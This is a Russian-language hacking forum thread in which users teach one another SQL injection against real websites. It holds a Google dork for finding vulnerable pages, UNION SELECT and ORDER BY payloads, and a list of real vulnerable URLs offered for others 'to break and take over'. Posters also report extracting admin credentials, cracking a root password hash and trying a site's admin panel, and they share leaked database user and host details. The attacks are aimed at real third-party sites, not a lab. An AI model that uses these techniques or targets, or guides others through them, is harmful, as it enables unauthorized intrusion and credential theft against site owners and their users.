t0xA, видео можешь сделать?

Какой запрос нужно ввести в google чтобы найти уязвимые сайты с SQL - INJECTION ?

Speaker примерно так
inurl:".php?id=3"
ну а дальше твои фонтазии)))

:hmcool: А есть подобные ей???

Помогите пожалуйста раскрутить уязвимость ...

http://88.214.194.37/reg.php

:banana:

Дарова всем. Короче на одном сайте нашел ошибки
code:


Это SQL - injecton ?

Проблема следующая: при попытке определить имена таблиц запросом "php?id=-1+UNION+SELECT+1,schema_name+FROM+information_sche ma.tables--" сайт выдает ошибку "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource..." В чем может быть трабла?

Нет, ничего не поменялось, страница остается та же. Версия БД 5.0.51a-24+lenny1

Цитата:

Сообщение от Ram0nlord

Кинь адрес странички в ЛС

Скинул

Добавлено через 11 часов 17 минут
Сегодня с помощью SQL Helper удалось вытащить логины и пассы админов сайта. Но все равно хочу понять, почему вручную это не получается.

думаю для многих будет полезно попрактиковаиться

Скрытый текст (вы должны быть авторизованы и иметь 5 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь

вот нашёл

code:


Цитата:


Для этого после цифры которая следует после ID ввести команду
order+by+10/*



Вставил так

code:


Хмм..и чё то не вылазит ошибка таблицы.Почему-так? помогите лузеру?

Всё кулл) всё разобрался и научился
вот инъекции для навичков- кому надо ломайте и рулите сайтами:

Цитата:

http://shkola.lv/index.php?mode=topics&t=5173
http://sao.mos.ru/?r=9_doc&cat=
http://maxpj.ru/system.php/
http://www.voyage-luxe.ru/hotel/?uid=
http://autoworld.agava.ru/compare.ph...B%5D=auditc18&
http://www.medialaw.kz/index.php?r=1c=1655
http://www.aquariustour.ru/news/
http://states-world.ru/section.php/
http://www.poznay-mir.ru/countries/turkey/resorts/side/
http://www.qafqaz.edu.az/index.php?z..._id=689&dil=ru
http://www.stroika.md/detail.php?id=
http://buxprofessional.com/register.php?r=enot773

+ и спс

Гы ну чтож начал я с определения количества таблиц их 21 ,потом я смарел их названия

Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь



после я узнавал названия колонок но у мя не получается

Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь



и тут я остановилсо=(

А почему в статье ни чего не сказано про команду limit?=( объясните через нее на угад надо находить талицу юзверей или как я чета не доганю?)

Гы и в чем моя ошибка када я хачу вывести названи колонок из таблы=(вот ссыль

Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь



Ram0nlord снизи хайд до 20 пл3

Цитата:


column_n ame



Ram0nlord это с форумом чета нето,я писал без пробела)
Оо как огрничений на вывод нету?))а почемму када я составляю запрос на вывод таблиц вылазиет тока 1 таблица,тонее имя её)
гы и еше я нашол там таблицу user,составляю запрос чтобы выкрасть инфу отуда но ошибку выдает=(

Цитата:

code:


5.0.77:voyage:root@zvm19



Цитата:

code:


5.0.54-log:zapas:ggs1950@localhost



Где указан ? просьба помочь!!!
не могу подобрать число к таблице

Странно чё-то с этим www.poznay-mir.ru
нашёл юзера root
и пасс зашифрованый
Цитата:


856CD78A9BDB55DA3D32F14FFA42750B9BB8FAC0



когда прогнал по базам хэш нашел пароль

Скрытый текст (вы должны быть авторизованы и иметь 50 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь



потом зашел в админку
http://www.poznay-mir.ru/admin/index.php
проверил и не подошло(((

Вот код не выдает табл...

code:


Вот скрин

У меня вопрос я все делаю но на 2 шаге у меня не выдает номер таблице:bomb:

вот посмотрите может я че не то делаю((((

HTML highlight

=============================================
:bomb::bomb::bomb::bomb::bomb::bomb:

Цитата:

Сообщение от Ram0nlord

*** скрытый текст ***
Это значит,что табл 5
*** скрытый текст ***
цифра с которой будешь работать))далее нетрудно определить версию,подскажу,версия 5 - то есть доступна information_schema

А как ты узнал??????
Я там не чего не видел......
((((((((((

Добавлено через 1 минуту
выложи скрин если моешь....

Цитата:

Сообщение от Ram0nlord

глупый вопрос..курил книги,маны и видосы))

нет,немогу,советую почитать статьи от Тохи и посмотреть его видосы(всё найдёшь в этом же разделе)

Вот смотри че он у меня выводит



=======================================
Вот где здесь номер табл. как на видео ТОХИ
вот я и спросил как ты узнал

Не заметил)))))

Добавлено через 25 минут

code:


===================
Что поставить за место %20 я перепробовал + и ,

есть прога для упрощение иньекций

SQLIHelperV извините ссылочки нет

code:


code:


чё тут не так?)

http://www.turkishculturalfoundation...ages.php?ID=82'
Подскажите как раскрутить инъекцию дальше? я ставилю запросы но ничего не происходит.

Дай ссылку на обычный сайт ща сам попробую

http://www.turkishculturalfoundation.org/

Добавлено через 25 минут
просканил xspider говарит что инъекция есть

Добавлено через 1 час 1 минуту
Kit,ну что получилось чтонибудь?

Добавлено через 1 час 52 минуты
http://www.aquariustour.ru/news/
А где id взять чтоб инъекцию дальше расскрутить?

The used SELECT statements have a different number of columns

Это вылезает вместо просмотра таблиц БД юзера

http://sitename.net/showsoft.php?id=...ion+select+1/*

Чооооооо делать, не подскажете?))))

Цитата:


>The used SELECT statements have a different number of columns

Это вылезает вместо просмотра таблиц БД юзера

http://sitename.net/showsoft.php?id=...ion+select+1/*

Чооооооо делать, не подскажете?))))
================================================== ========



Если я в этом что и рублю то, вы неправильно опеределили количество таблиц(одной быть походу не может)

Сначала нужно узнать количество а уже потом просматривать версию БД и т.д.

Сначала узнайте количество таблиц при помощи команды order+by:

Цитата:


Следующим шагом нам необходимо узнать количество таблиц. Это делается при помощи команды order+by
http://site.com/main.php?id=12+order+by+1/* - при введении этой команды ошибка должна исчезнуть потомучто количество таблиц больше чем 1...
http://site.com/main.php?id=12+order+by+10000/* - ошибка появляется вновь потомучто количество таблиц меньше чем 10000
http://site.com/main.php?id=12+order+by+10/* - ошибка исчезла а при введении http://site.com/main.php?id=12+order+by+11/* появилась, из этого следует что количество таблиц 10.

Цитата:

Сообщение от Fincher

как с этим быть? http://wow.dport.com.ua/bugtracke/?page='

это ведь инъекция?

Да) продолжай дальше)

пытался чтото подписывать,смотрел видос,ничего)
остаётся все как и было)

как с этим быть? http://wow.dport.com.ua/bugtracke/?page='

это ведь инъекция?

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: NO) in /usr/local/www/apache22/data/lk/include/functions.php on line 49

Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in /usr/local/www/apache22/data/lk/include/functions.php on line 50

Warning: mysql_query() [function.mysql-query]: Access denied for user 'root'@'localhost' (using password: NO) in /usr/local/www/apache22/data/lk/include/functions.php on line 51

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /usr/local/www/apache22/data/lk/include/functions.php on line 51

Warning: mysql_query() [function.mysql-query]: Access denied for user 'root'@'localhost' (using password: NO) in /usr/local/www/apache22/data/lk/include/functions.php on line 199

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /usr/local/www/apache22/data/lk/include/functions.php on line 199

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/apache22/data/lk/include/functions.php on line 200

Notice: Undefined index: in /usr/local/www/apache22/data/lk/include/functions.php on line 216
что из этого можно состряпать?

Цитата:

Сообщение от Fincher

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: NO) in /usr/local/www/apache22/data/lk/include/functions.php on line 49

не ту подключения к базе данных!! не чего не состряпаешь
ну хотя можно попробовать самому коннектиться если админ сайта не ставил пас при установки сервера!

У меня вот такой вопрос тут goolel наткнулся на такую ошибку явно не с базой связана но может кто знает что сделать можно=)

code:


Добавлено через 2 минуты
вот адрес сайта http://www.kanikuly.crimea.ua/s_hotels.php?nom=3'

Добавлено через 1 час 43 минуты
Все разобрался!=)

Lesha_firs, вообще-то вроде не похоже на скуль... Я ошибаюсь? Если можешь, выложи в раскрученном виде.

Цитата:

Сообщение от stan_q

Lesha_firs, вообще-то вроде не похоже на скуль... Я ошибаюсь? Если можешь, выложи в раскрученном виде.

Ошибаешся! это и есть скуль, дальше юзать +oder+by+99-- неохота так как это задротство, а так скуль ровная!

Нашел сайт с дыркой. При запросе выплюнуло вот что
================================================== =======================
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND keywords IS NOT NULL AND language='1'' at line 1: SELECT keywords FROM T_CNT_UNIT_DATA WHERE unit IN (57`) AND keywords IS NOT NULL AND language=?
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND language='1'' at line 1: SELECT title FROM T_CNT_ARTICLE_DATA WHERE article IN (57`) AND language=?
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND b.language='1'' at line 1: SELECT * FROM T_CNT_UNIT a INNER JOIN T_CNT_UNIT_DATA b ON a.unit=b.unit WHERE a.unit IN (57`) AND b.language='1'
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND b.language='1'' at line 1: SELECT * FROM T_CNT_NEWS a INNER JOIN T_CNT_NEWS_DATA b ON a.news=b.news WHERE a.news IN (57`) AND b.language='1'
================================================== ===================
Подскажите что делать дальше?

Цитата:

Сообщение от stan_q

Lesha_firs, вообще-то вроде не похоже на скуль... Я ошибаюсь? Если можешь, выложи в раскрученном виде.

Это не скул! ты прав!

Цитата:

Сообщение от leons

Ошибаешся! это и есть скуль, дальше юзать +oder+by+99-- неохота так как это задротство, а так скуль ровная!

так +oder+by+99-- юзать не поможет так как я уже говорил это не скул!

вот почему смотри на ошибку!

code:


Warning: main() [function.include]: видем что это ошибка подключения какойто страницы в данном случае это страница /hotels/text_3.htm
так как указано ' между расширением:smartass:
а указания на скул это ошибка такого вида Warning: mysql_fetch_array
или
Warning: mysql_qery

Frinst, А запрос-то какой был? xD Кинь что писал в адресе.

Цитата:

Сообщение от Frinst

Нашел сайт с дыркой. При запросе выплюнуло вот что
================================================== =======================
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND keywords IS NOT NULL AND language='1'' at line 1: SELECT keywords FROM T_CNT_UNIT_DATA WHERE unit IN (57`) AND keywords IS NOT NULL AND language=?
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND language='1'' at line 1: SELECT title FROM T_CNT_ARTICLE_DATA WHERE article IN (57`) AND language=?
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND b.language='1'' at line 1: SELECT * FROM T_CNT_UNIT a INNER JOIN T_CNT_UNIT_DATA b ON a.unit=b.unit WHERE a.unit IN (57`) AND b.language='1'
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') AND b.language='1'' at line 1: SELECT * FROM T_CNT_NEWS a INNER JOIN T_CNT_NEWS_DATA b ON a.news=b.news WHERE a.news IN (57`) AND b.language='1'
================================================== ===================
Подскажите что делать дальше?

давай сайт! там скорей всего неверная связка таблиц вот он и ругается=)

Добавлено через 5 минут

Цитата:

Сообщение от M@ZAX@KEP

Frinst, А запрос-то какой был? xD Кинь что писал в адресе.

да я после nom=3 поставил ' он мне ошибку и выдал=)

Добавлено через 5 минут
это не правильно подключается файл web-программист наверное когда писал сайт склеивал перименные вот доказательства
поставьте в конце '
и увидете ошибку вида

code:


обратите внимание на такой кусок 'hotels/text_3'.htm'

а теперь поставьте *
получите

code:


и обратите внимание на следушьй кусок кода 'hotels/text_3*.htm'

найдите одно отличее и вы поймете что базы данных сдесь вообще не используются